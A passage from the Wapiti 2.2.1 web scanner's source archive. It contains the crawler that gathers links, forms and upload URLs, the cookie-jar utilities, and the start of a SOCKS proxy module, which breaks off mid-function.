httplib2.parse_proxy(self.proxy) proxy = httplib2.ProxyInfo(proxy_type, proxy_host, proxy_port, proxy_user = proxy_usr, proxy_pass = proxy_pwd) self.h = httplib2.Http(cache = None, timeout = self.timeout, proxy_info = proxy) self.h.follow_redirects = False self.cookiejar = libcookie.libcookie(self.server) if os.path.isfile(self.cookie): self.cookiejar.loadfile(self.cookie) if self.auth_basic != []: self.h.add_credentials(self.auth_basic[0], self.auth_basic[1]) # load of the crawler status if a file is passed to it. if crawlerFile != None: if self.persister.isDataForUrl(crawlerFile) == 1: self.persister.loadXML(crawlerFile) self.tobrowse = self.persister.getToBrose() # TODO: change xml file for browsed urls self.browsed = self.persister.getBrowsed() self.forms = self.persister.getForms() self.uploads = self.persister.getUploads() print _("File") + " " + crawlerFile + " " + _("loaded, the scan continues") + ":" if self.verbose == 2: print " * " + _("URLs to browse") for x in self.tobrowse: print " + " + x print " * " + _("URLs browsed") for x in self.browsed.keys(): print " + " + x else: print _("File") + " " + crawlerFile + " " + _("not found, Wapiti will scan again the web site") # while url list isn't empty, continue browsing # if the user stop the scan with Ctrl+C, give him all found urls # and they are saved in an XML file try: while len(self.tobrowse) > 0: lien = self.tobrowse.pop(0) if (lien not in self.browsed.keys() and lien not in self.excluded): headers = self.browse(lien) if headers != {}: if not headers.has_key("link_encoding"): if self.link_encoding.has_key(lien): headers["link_encoding"] = self.link_encoding[lien] self.browsed[lien] = headers if self.verbose == 1: sys.stderr.write('.') elif self.verbose == 2: print lien if(self.scope == self.SCOPE_PAGE): self.tobrowse = [] self.saveCrawlerData() print "" print " " + _("Notice") + " " print "========" print _("This scan has been saved in the file") + " " + self.persister.CRAWLER_DATA_DIR + '/' + self.server + ".xml" print _("You can use it to perform attacks without scanning again the web site with the \"-k\" parameter") except KeyboardInterrupt: self.saveCrawlerData() print "" print " " + _("Notice") + " " print "========" print _("Scan stopped, the data has been saved in the file") + " " + self.persister.CRAWLER_DATA_DIR + '/' + self.server + ".xml" print _("To continue this scan, you should launch Wapiti with the \"-i\" parameter") pass def verbosity(self, vb): """Set verbosity level""" self.verbose = vb def printLinks(self): """Print found URLs on standard output""" l = self.browsed.keys() l.sort() sys.stderr.write("\n+ " + _("URLs") + ":\n") for lien in l: print lien def printForms(self): """Print found forms on standard output""" if self.forms != []: sys.stderr.write("\n+ "+_("Forms Info") + ":\n") for form in self.forms: print _("From") + ":", form[2] print _("To") + ":", form[0] for k, v in form[1].items(): print "\t" + k, ":", v print def printUploads(self): """Print urls accepting uploads""" if self.uploads != []: sys.stderr.write("\n+ " + _("Upload Scripts") + ":\n") for up in self.uploads: print up def exportXML(self,filename,encoding="UTF-8"): "Export the urls and the forms found in an XML file." xml = minidom.Document() items = xml.createElement("items") xml.appendChild(items) for lien in self.browsed.keys(): get = xml.createElement("get") get.setAttribute("url", lien) items.appendChild(get) for form in self.forms: post = xml.createElement("post") post.setAttribute("url", form[0]) post.setAttribute("referer", form[2]) for k, v in form[1].items(): var = xml.createElement("var") var.setAttribute("name", k) var.setAttribute("value", v) post.appendChild(var) items.appendChild(post) for up in self.uploads: upl = xml.createElement("upload") upl.setAttribute("url", up) items.appendChild(upl) fd = open(filename,"w") xml.writexml(fd, " ", " ", "\n", encoding) fd.close() def getLinks(self): return self.browsed def getForms(self): return self.forms def getUploads(self): self.uploads.sort() return self.uploads def saveCrawlerData(self): self.persister.setRootURL(self.root); self.persister.setToBrose(self.tobrowse); self.persister.setBrowsed(self.browsed); self.persister.setForms (self.forms); self.persister.setUploads(self.uploads); self.persister.saveXML(self.persister.CRAWLER_DATA_DIR + '/' + self.server + '.xml') class linkParser(HTMLParser.HTMLParser): """Extract urls in 'a' href HTML tags""" def __init__(self, url = ""): HTMLParser.HTMLParser.__init__(self) self.liens = [] self.forms = [] self.form_values = {} self.inform = 0 self.current_form_url = url self.uploads = [] self.current_form_method = "get" self.url = url def handle_starttag(self, tag, attrs): tmpdict = {} val = None for k, v in dict(attrs).items(): tmpdict[k.lower()] = v if tag.lower() == 'a': if "href" in tmpdict.keys(): self.liens.append(tmpdict['href']) if tag.lower() == 'form': self.inform = 1 self.form_values = {} self.current_form_url = self.url if "action" in tmpdict.keys(): self.liens.append(tmpdict['action']) self.current_form_url = tmpdict['action'] # Forms use GET method by default self.current_form_method = "get" if "method" in tmpdict.keys(): if tmpdict["method"].lower() == "post": self.current_form_method = "post" if tag.lower() == 'input': if self.inform == 1: if "type" not in tmpdict.keys(): tmpdict["type"] = "text" if "name" in tmpdict.keys(): if tmpdict['type'].lower() in ['text', 'password', 'radio', 'checkbox', 'hidden', 'submit', 'search']: # use default value if present or set it to 'on' if "value" in tmpdict.keys(): if tmpdict["value"] != "": val = tmpdict["value"] else: val = "on" else: val = "on" self.form_values.update(dict([(tmpdict['name'], val)])) if tmpdict['type'].lower() == "file": self.uploads.append(self.current_form_url) if tag.lower() in ["textarea", "select"]: if self.inform == 1: if "name" in tmpdict.keys(): self.form_values.update(dict([(tmpdict['name'], 'on')])) if tag.lower() in ["frame", "iframe"]: if "src" in tmpdict.keys(): self.liens.append(tmpdict['src']) def handle_endtag(self, tag): if tag.lower() == 'form': self.inform = 0 if self.current_form_method == "post": self.forms.append((self.current_form_url, self.form_values)) else: l = ["=".join([k, v]) for k, v in self.form_values.items()] l.sort() self.liens.append(self.current_form_url.split("?")[0] + "?" + "&".join(l)) class linkParser2: verbose = 0 """Extract urls in 'a' href HTML tags""" def __init__(self, url = "", verb = 0): self.liens = [] self.forms = [] self.form_values = {} self.inform = 0 self.current_form_url = "" self.uploads = [] self.current_form_method = "get" self.verbose = verb def __findTagAttributes(self, tag): attDouble = re.findall('<\w*[ ]| *(.*?)[ ]*=[ ]*"(.*?)"[ +|>]', tag) attSingle = re.findall('<\w*[ ]| *(.*?)[ ]*=[ ]*\'(.*?)\'[ +|>]', tag) attNone = re.findall('<\w*[ ]| *(.*?)[ ]*=[ ]*["|\']?(.*?)["|\']?[ +|>]', tag) attNone.extend(attSingle) attNone.extend(attDouble) return attNone def feed(self, htmlSource): htmlSource = htmlSource.replace("\n", "") htmlSource = htmlSource.replace("\r", "") htmlSource = htmlSource.replace("\t", "") links = re.findall('', htmlSource) linkAttributes = [] for link in links: linkAttributes.append(self.__findTagAttributes(link)) #Finding all the forms: getting the text from "" #the array forms will contain all the forms of the page forms = re.findall('.*?', htmlSource) formsAttributes = [] for form in forms: formsAttributes.append(self.__findTagAttributes(form)) #Processing the forms, obtaining the method and all the inputs #Also finding the method of the forms inputsInForms = [] textAreasInForms = [] selectsInForms = [] for form in forms: inputsInForms .append(re.findall('', form)) textAreasInForms.append(re.findall('', form)) selectsInForms .append(re.findall('', form)) #Extracting the attributes of the tag as XML parser inputsAttributes = [] for i in range(len(inputsInForms)): inputsAttributes.append([]) for inputt in inputsInForms[i]: inputsAttributes[i].append(self.__findTagAttributes(inputt)) selectsAttributes = [] for i in range(len(selectsInForms)): selectsAttributes.append([]) for select in selectsInForms[i]: selectsAttributes[i].append(self.__findTagAttributes(select)) textAreasAttributes = [] for i in range(len(textAreasInForms)): textAreasAttributes.append([]) for textArea in textAreasInForms[i]: textAreasAttributes[i].append(self.__findTagAttributes(textArea)) if(self.verbose == 3): print "\n\n" + _("Forms") print "=====" for i in range(len(forms)): print _("Form") + " " + str(i) tmpdict = {} for k, v in dict(formsAttributes[i]).items(): tmpdict[k.lower()] = v print " * " + _("Method") + ": " + self.__decode_htmlentities(tmpdict['action']) print " * " + _("Intputs") + ": " for j in range(len(inputsInForms[i])): print " + " + inputsInForms[i][j] for att in inputsAttributes[i][j]: print " - " + str(att) print " * " + _("Selects") + ": " for j in range(len(selectsInForms[i])): print " + " + selectsInForms[i][j] for att in selectsAttributes[i][j]: print " - " + str(att) print " * " + _("TextAreas")+": " for j in range(len(textAreasInForms[i])): print " + " + textAreasInForms[i][j] for att in textAreasAttributes[i][j]: print " - " + str(att) print "\n"+_("URLS") print "====" for i in range(len(links)): tmpdict = {} for k, v in dict(linkAttributes[i]).items(): tmpdict[k.lower()] = v if "href" in tmpdict.keys(): self.liens.append(self.__decode_htmlentities(tmpdict['href'])) if(self.verbose == 3): print self.__decode_htmlentities(tmpdict['href']) for i in range(len(forms)): tmpdict = {} for k, v in dict(formsAttributes[i]).items(): tmpdict[k.lower()] = v self.form_values = {} if "action" in tmpdict.keys(): self.liens.append(self.__decode_htmlentities(tmpdict['action'])) self.current_form_url = self.__decode_htmlentities(tmpdict['action']) # Forms use GET method by default self.current_form_method = "get" if "method" in tmpdict.keys(): if tmpdict["method"].lower() == "post": self.current_form_method = "post" for j in range(len(inputsAttributes[i])): tmpdict = {} for k, v in dict(inputsAttributes[i][j]).items(): tmpdict[k.lower()] = v if "type" not in tmpdict.keys(): tmpdict["type"] = "text" if "name" in tmpdict.keys(): if tmpdict['type'].lower() in \ ['text', 'password', 'radio', 'checkbox', 'hidden', 'submit', 'search']: # use default value if present or set it to 'on' if "value" in tmpdict.keys(): if tmpdict["value"] != "": val = tmpdict["value"] else: val = "on" else: val = "on" self.form_values.update(dict([(tmpdict['name'], val)])) if tmpdict['type'].lower() == "file": self.uploads.append(self.current_form_url) for j in range(len(textAreasAttributes[i])): tmpdict = {} for k, v in dict(textAreasAttributes[i][j]).items(): tmpdict[k.lower()] = v if "name" in tmpdict.keys(): self.form_values.update(dict([(tmpdict['name'], 'on')])) for j in range(len(selectsAttributes[i])): tmpdict = {} for k, v in dict(selectsAttributes[i][j]).items(): tmpdict[k.lower()] = v if "name" in tmpdict.keys(): self.form_values.update(dict([(tmpdict['name'], 'on')])) if self.current_form_method == "post": self.forms.append((self.current_form_url, self.form_values)) else: l = ["=".join([k, v]) for k, v in self.form_values.items()] l.sort() self.liens.append(self.current_form_url.split("?")[0] + "?" + "&".join(l)) def __substitute_entity(self, match): ent = match.group(2) if match.group(1) == "#": return unichr(int(ent)) else: cp = n2cp.get(ent) if cp: return unichr(cp) else: return match.group() def __decode_htmlentities(self, string): entity_re = re.compile("&(#?)(\d{1,5}|\w{1,8});") return entity_re.subn(self.__substitute_entity, string)[0] def reset(self): self.liens = [] self.forms = [] self.form_values = {} self.inform = 0 self.current_form_url = "" self.uploads = [] self.current_form_method = "get" if __name__ == "__main__": def _(text): return text try: prox = "" auth = [] xmloutput = "" crawlerFile = None if len(sys.argv)<2: print lswww.__doc__ sys.exit(0) if '-h' in sys.argv or '--help' in sys.argv: print lswww.__doc__ sys.exit(0) myls = lswww(sys.argv[1]) myls.verbosity(1) try: opts, args = getopt.getopt(sys.argv[2:], "hp:s:x:c:a:r:v:t:n:e:ib:", ["help", "proxy=", "start=", "exclude=", "cookie=", "auth=", "remove=", "verbose=", "timeout=", "nice=", "export=", "continue", "scope="]) except getopt.GetoptError, e: print e sys.exit(2) for o, a in opts: if o in ("-h", "--help"): print lswww.__doc__ sys.exit(0) if o in ("-s", "--start"): if (a.find("http://", 0) == 0) or (a.find("https://", 0) == 0): myls.addStartURL(a) if o in ("-x", "--exclude"): if (a.find("http://", 0) == 0) or (a.find("https://", 0) == 0): myls.addExcludedURL(a) if o in ("-p", "--proxy"): myls.setProxy(a) if o in ("-c", "--cookie"): myls.setCookieFile(a) if o in ("-r", "--remove"): myls.addBadParam(a) if o in ("-a", "--auth"): if a.find("%") >= 0: auth = [a.split("%")[0], a.split("%")[1]] myls.setAuthCredentials(auth) if o in ("-v", "--verbose"): if str.isdigit(a): myls.verbosity(int(a)) if o in ("-t", "--timeout"): if str.isdigit(a): myls.setTimeOut(int(a)) if o in ("-n", "--nice"): if str.isdigit(a): myls.setNice(int(a)) if o in ("-e", "--export"): xmloutput = a if o in ("-b", "--scope"): myls.setScope(a) if o in ("-i", "--continue"): crawlerPersister = CrawlerPersister() crawlerFile = crawlerPersister.CRAWLER_DATA_DIR + '/' + sys.argv[1].split("://")[1] + '.xml' try: opts, args = getopt.getopt(sys.argv[2:], "hp:s:x:c:a:r:v:t:n:e:i:b:", ["help", "proxy=", "start=", "exclude=", "cookie=", "auth=", "remove=", "verbose=", "timeout=", "nice=", "export=", "continue=", "scope="]) except getopt.GetoptError, e: "" for o, a in opts: if o in ("-i", "--continue"): if a != '' and a[0] != '-': crawlerFile = a myls.go(crawlerFile) myls.printLinks() myls.printForms() myls.printUploads() if xmloutput != "": myls.exportXML(xmloutput) except SystemExit: pass wapiti-2.2.1/src/net/cookie.py0000644000000000000000000000277611316442105014720 0ustar rootroot#!/usr/bin/env python # Copyright (C) 2006 Nicolas Surribas # # This file is part of Wapiti. # # Wapiti is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Wapiti is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import sys import urllib2, urllib import libcookie if "_" not in dir(): def _(s): return s if len(sys.argv) < 4: sys.stderr.write("Usage python cookie.py ...\n") sys.exit(1) cookiefile = sys.argv[1] url = sys.argv[2] data = sys.argv[3:] liste = [] for l in data: liste.append( tuple( l.split("=") ) ) params = urllib.urlencode(liste) txheaders = {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} try: req = urllib2.Request(url, params, headers=txheaders) handle = urllib2.urlopen(req) except IOError, e: print _("Error getting url"), url print e sys.exit(1) lc = libcookie.libcookie(url) lc.loadfile(cookiefile) lc.add(handle, handle.read()) lc.save(cookiefile) wapiti-2.2.1/src/net/libcookie.py0000644000000000000000000003256111316442105015402 0ustar rootroot#!/usr/bin/env python # Copyright (C) 2009 Nicolas Surribas # # This file is part of Wapiti. # # Wapiti is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Wapiti is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os, sys import urllib2 from xml.dom import minidom import re import time import BeautifulSoup class libcookie: target = "" dom = None url = "" cookies = None def __init__(self, url): self.url = url self.target = urllib2.httplib.urlsplit(url).hostname def loadfile(self, cookiefile=""): if cookiefile == "": return try: self.dom = minidom.parse(cookiefile) self.cookies = self.dom.firstChild except IOError, err: print "File not found, creating..." self.dom = minidom.Document() self.cookies = self.dom.createElement("cookies") self.dom.appendChild(self.cookies) def add_node(self,cookie_dict): # no domain is set in the cookie if cookie_dict["domain"] == "": # working with an IP address if re.match("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", self.target): nodes = [node for node in self.cookies.getElementsByTagName("domain") if node.hasAttribute("name") and node.getAttribute("name") == self.target] if len(nodes) == 0: node = self.dom.createElement("domain") node.setAttribute("name", self.target) self.cookies.appendChild(node) else: node = nodes[0] for biscuit in node.getElementsByTagName("cookie"): if biscuit.getAttribute("name") == cookie_dict["name"] and biscuit.getAttribute("path") == cookie_dict["path"]: node.removeChild(biscuit) # here we are in the good domain node cnode = self.dom.createElement("cookie") cnode.setAttribute("name", cookie_dict["name"]) cnode.setAttribute("value", cookie_dict["value"]) cnode.setAttribute("version", cookie_dict["version"]) # keep some space if cookie_dict["expires"] != None: cnode.setAttribute("expires", str(cookie_dict["expires"])) if cookie_dict["path"] != "": cnode.setAttribute("path", cookie_dict["path"]) # verifs a faire ici : vider la node si besoin avant node.appendChild(cnode) # working with a hostname else: cookie_dict["domain"] = self.target # a domain is defined in the cookie if cookie_dict["domain"] != "": domains = [x for x in cookie_dict["domain"].split(".") if x != ""] curr = self.cookies while domains != []: domain = domains.pop(-1) nodes = [node for node in curr.getElementsByTagName("domain") if node.hasAttribute("name") and node.getAttribute("name") == domain] if len(nodes) == 0: # oups... we must create all subdomain nodes and break the loop node = self.dom.createElement("domain") node.setAttribute("name", domain) curr.appendChild(node) else: node = nodes[0] curr = node if domains == []: for biscuit in curr.getElementsByTagName("cookie"): if biscuit.getAttribute("name") == cookie_dict["name"]: curr.removeChild(biscuit) # here we are in the good domain node cnode = self.dom.createElement("cookie") cnode.setAttribute("name", cookie_dict["name"]) cnode.setAttribute("value", cookie_dict["value"]) cnode.setAttribute("version", cookie_dict["version"]) # keep some space if cookie_dict["expires"] != None: cnode.setAttribute("expires", str(cookie_dict["expires"])) if cookie_dict["path"] != "": cnode.setAttribute("path", cookie_dict["path"]) # verifs a faire ici : vider la node si besoin avant curr.appendChild(cnode) def add(self, handle, page = ""): ref_date = time.time() tmp_date = "" if len(handle.headers.getheaders("date")) == 1: tmp_date = handle.headers.getheaders("date")[0] for regexp in ["%a, %d-%b-%Y %H:%M:%S %Z", "%a %b %d %H:%M:%S %Y %Z", "%a, %b %d %H:%M:%S %Y %Z", "%a, %d %b %Y %H:%M:%S %Z"]: try: ref_date = time.mktime( time.strptime(tmp_date, regexp) ) except ValueError: continue if handle.headers.getheaders("set-cookie2") != []: version = "2" else: version = "0" for cook in handle.headers.getheaders("set-cookie") + handle.headers.getheaders("set-cookie2"): name = "" value = "" expires = None domain = "" path = "" max_age = None brk = 0 if cook.find("=") >= 0: tuples = [x.strip() for x in cook.split(";")] name, value = tuples.pop(0).split("=", 1) name = name.strip() value = value.strip() if value[0] == '"' and value[-1] == '"': value = value[1:-1] for tupl in tuples: if tupl.find("=") > 0: k, v = tupl.split("=", 1) k = k.strip().lower() v = v.strip() if v[0] == '"' and v[-1] == '"': v = v[1:-1] if k == "path": path = v if k == "expires": for regexp in ["%a, %d-%b-%Y %H:%M:%S %Z", "%a %b %d %H:%M:%S %Y %Z", "%a, %b %d %H:%M:%S %Y %Z", "%a, %d %b %Y %H:%M:%S %Z"]: try: expires = time.mktime( time.strptime(v, regexp) ) except ValueError: continue if ref_date > expires: brk = 1 if k == "comment": print "Comment:", v if k == "max-age": max_age = int(v) if max_age == 0: brk = 1 else: expires = ref_date + max_age if k == "domain": domain = v if k == "version" and version == "0": version = "1" if tupl.find("secure") >= 0: pass if brk == 1: break print name, "=", value if path == "": path = os.path.dirname(urllib2.urlparse.urlparse(self.url)[2]) if not path.endswith("/"): path = path + "/" print name, "=", value self.add_node( {"name":name, "value":value, "domain": domain, "path":path, "expires": expires, "version": version }) else: print cook if handle.headers.getheaders("set-cookie") + handle.headers.getheaders("set-cookie2") == []: if page != "": soup = BeautifulSoup.BeautifulSoup(page) meta = soup.find("meta", {'http-equiv': lambda v: v != None and v.lower()=='set-cookie'}) if meta != None: cook = meta["content"] name = "" value = "" expires = None domain = "" path = "" max_age = None expired = False if cook.find("=") >= 0: tuples = [x.strip() for x in cook.split(";")] name, value = tuples.pop(0).split("=", 1) name = name.strip() value = value.strip() if value[0] == '"' and value[-1] == '"': value = value[1:-1] for tupl in tuples: if tupl.find("=") > 0: k, v = tupl.split("=", 1) k = k.strip().lower() v = v.strip() if v[0] == '"' and v[-1] == '"': v = v[1:-1] if k == "path": path = v if k == "expires": for regexp in ["%a, %d-%b-%Y %H:%M:%S %Z", "%a %b %d %H:%M:%S %Y %Z", "%a, %b %d %H:%M:%S %Y %Z", "%a, %d %b %Y %H:%M:%S %Z"]: try: expires = time.mktime( time.strptime(v, regexp) ) except ValueError: continue if ref_date > expires: expired = True if k == "comment": print "Comment:", v if k == "max-age": max_age = int(v) if max_age == 0: expired = True else: expires = ref_date + max_age if k == "domain": domain = v if k == "version" and version == "0": version = "1" if tupl.find("secure") >= 0: pass if path == "": path = os.path.dirname(urllib2.urlparse.urlparse(self.url)[2]) if not path.endswith("/"): path = path + "/" if expired == False: print name, "=", value self.add_node( {"name":name, "value":value, "domain": domain, "path":path, "expires": expires, "version": version }) def delete(self, hostname): if self.cookies == None: return curr = self.cookies found = 1 if re.match("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", hostname): nodes = [node for node in self.cookies.getElementsByTagName("domain") if node.hasAttribute("name") and node.getAttribute("name") == hostname] if len(nodes) == 0: return {} else: curr = nodes[0] else: domains = hostname.split(".") while domains != []: domain = domains.pop(-1) nodes = [node for node in curr.getElementsByTagName("domain") if node.hasAttribute("name") and node.getAttribute("name") == domain] if len(nodes) != 0: curr = nodes[0] else: found = 0 if found == 1: for x in curr.childNodes: curr.removeChild(x) # self.cookies.removeChild(curr) # a NotFoundErr was raised def headers(self, hostname, path): if self.cookies == None: return {} curr = self.cookies cookie_str = "" version_min = 2 found = 1 if re.match("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", hostname): nodes = [node for node in self.cookies.getElementsByTagName("domain") if node.hasAttribute("name") and node.getAttribute("name") == hostname] if len(nodes) == 0: return {} else: curr = nodes[0] else: domains = hostname.split(".") subdomain = 0 if len(domains) > 2: subdomain = 1 while domains != []: domain = domains.pop(-1) nodes = [node for node in curr.getElementsByTagName("domain") if node.hasAttribute("name") and node.getAttribute("name") == domain] if len(nodes) != 0: curr = nodes[0] else: found = 0 # work on subdomain cookies if subdomain == 1 and len(domains) == 1: # we make a check on parentNode to make sure it will search only direct childs nodes for biscuit in [x for x in curr.getElementsByTagName("cookie") if x.parentNode == curr]: if int( biscuit.getAttribute("version") ) < version_min: version_min = int( biscuit.getAttribute("version") ) cookie_str += biscuit.getAttribute("name") + '="' + biscuit.getAttribute("value") + '"; ' cookie_str += '$Path="' + biscuit.getAttribute("path") + '"; ' cookie_str += '$Domain=".' + ".".join( hostname.split(".")[1:] ) + '"; ' if found == 1: biscuits = [x for x in curr.getElementsByTagName("cookie") if path.startswith( x.getAttribute("path") ) ] for biscuit in biscuits: if int( biscuit.getAttribute("version") ) < version_min: version_min = int( biscuit.getAttribute("version") ) cookie_str += biscuit.getAttribute("name") + '="' + biscuit.getAttribute("value") + '"; ' cookie_str += '$Path="' + biscuit.getAttribute("path") + '"; ' if cookie_str == "": return {} if cookie_str.endswith("; "): cookie_str = cookie_str[:-2] # Old Netscape cookies : no $Version, no path neither domain. # Add a Cookie2 header for information if version_min == 0: cookie_str = ";".join( [x for x in cookie_str.split(";") if not x.startswith(" $")] ) cookie_str = cookie_str.replace('"','') return {"Cookie": cookie_str, "Cookie2": '$Version="1"'} # RFC 2109 and RFC 2965 cookies else: cookie_str = '$Version="1"; ' + cookie_str return {"Cookie": cookie_str} def headers_url(self, url): hst = urllib2.urlparse.urlparse(url)[1] pth = os.path.dirname(urllib2.urlparse.urlparse(url)[2]) + "/" return self.headers(hst, pth) def save(self, cookiefile): fd = open(cookiefile,"w") fd.write( "\n".join( [x for x in self.dom.toprettyxml(indent=" ", encoding="UTF-8").split("\n") if x.strip() !="" ] ) ) fd.close() wapiti-2.2.1/src/net/httplib2/0000755000000000000000000000000011316442105014611 5ustar rootrootwapiti-2.2.1/src/net/httplib2/socks.py0000644000000000000000000003431111316442105016307 0ustar rootroot"""SocksiPy - Python SOCKS module. Version 1.00 Copyright 2006 Dan-Haim. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Dan Haim nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. This module provides a standard socket-like interface for Python for tunneling connections through SOCKS proxies. """ import socket import struct PROXY_TYPE_SOCKS4 = 1 PROXY_TYPE_SOCKS5 = 2 PROXY_TYPE_HTTP = 3 _defaultproxy = None _orgsocket = socket.socket class ProxyError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class GeneralProxyError(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Socks5AuthError(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Socks5Error(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Socks4Error(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class HTTPError(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) _generalerrors = ("success", "invalid data", "not connected", "not available", "bad proxy type", "bad input") _socks5errors = ("succeeded", "general SOCKS server failure", "connection not allowed by ruleset", "Network unreachable", "Host unreachable", "Connection refused", "TTL expired", "Command not supported", "Address type not supported", "Unknown error") _socks5autherrors = ("succeeded", "authentication is required", "all offered authentication methods were rejected", "unknown username or invalid password", "unknown error") _socks4errors = ("request granted", "request rejected or failed", "request rejected because SOCKS server cannot connect to identd on the client", "request rejected because the client program and identd report different user-ids", "unknown error") def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None): """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets a default proxy which all further socksocket objects will use, unless explicitly changed. """ global _defaultproxy _defaultproxy = (proxytype,addr,port,rdns,username,password) class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, you must specify family=AF_INET, type=SOCK_STREAM and proto=0. """ def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): _orgsocket.__init__(self,family,type,proto,_sock) if _defaultproxy != None: self.__proxy = _defaultproxy else: self.__proxy = (None, None, None, None, None, None) self.__proxysockname = None self.__proxypeername = None def __recvall(self, bytes): """__recvall(bytes) -> data Receive EXACTLY the number of bytes requested from the socket. Blocks until the required number of bytes have been received. """ data = "" while len(data) < bytes: data = data + self.recv(bytes-len(data)) return data def setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None): """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets the proxy to be used. proxytype - The type of the proxy to be used. Three types are supported: PROXY_TYPE_SOCKS4 (including socks4a), PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS servers and 8080 for HTTP proxy servers. rdns - Should DNS queries be preformed on the remote side (rather than the local side). The default is True. Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. The default is no authentication. password - Password to authenticate with to the server. Only relevant when username is also provided. """ self.__proxy = (proxytype,addr,port,rdns,username,password) def __negotiatesocks5(self,destaddr,destport): """__negotiatesocks5(self,destaddr,destport) Negotiates a connection through a SOCKS5 server. """ # First we'll send the authentication packages we support. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). self.sendall("\x05\x02\x00\x02") else: # No username/password were entered, therefore we # only support connections with no authentication. self.sendall("\x05\x01\x00") # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) if chosenauth[0] != "\x05": self.close() raise GeneralProxyError((1,_generalerrors[1])) # Check the chosen authentication method if chosenauth[1] == "\x00": # No authentication is required pass elif chosenauth[1] == "\x02": # Okay, we need to perform a basic username/password # authentication. self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5]) authstat = self.__recvall(2) if authstat[0] != "\x01": # Bad response self.close() raise GeneralProxyError((1,_generalerrors[1])) if authstat[1] != "\x00": # Authentication failed self.close() raise Socks5AuthError,((3,_socks5autherrors[3])) # Authentication succeeded else: # Reaching here is always bad self.close() if chosenauth[1] == "\xFF": raise Socks5AuthError((2,_socks5autherrors[2])) else: raise GeneralProxyError((1,_generalerrors[1])) # Now we can request the actual connection req = "\x05\x01\x00" # If the given destination address is an IP address, we'll # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) req = req + "\x01" + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]==True: # Resolve remotely ipaddr = None req = req + "\x03" + chr(len(destaddr)) + destaddr else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) req = req + "\x01" + ipaddr req = req + struct.pack(">H",destport) self.sendall(req) # Get the response resp = self.__recvall(4) if resp[0] != "\x05": self.close() raise GeneralProxyError((1,_generalerrors[1])) elif resp[1] != "\x00": # Connection failed self.close() if ord(resp[1])<=8: raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])]) else: raise Socks5Error(9,_generalerrors[9]) # Get the bound address/port elif resp[3] == "\x01": boundaddr = self.__recvall(4) elif resp[3] == "\x03": resp = resp + self.recv(1) boundaddr = self.__recvall(resp[4]) else: self.close() raise GeneralProxyError((1,_generalerrors[1])) boundport = struct.unpack(">H",self.__recvall(2))[0] self.__proxysockname = 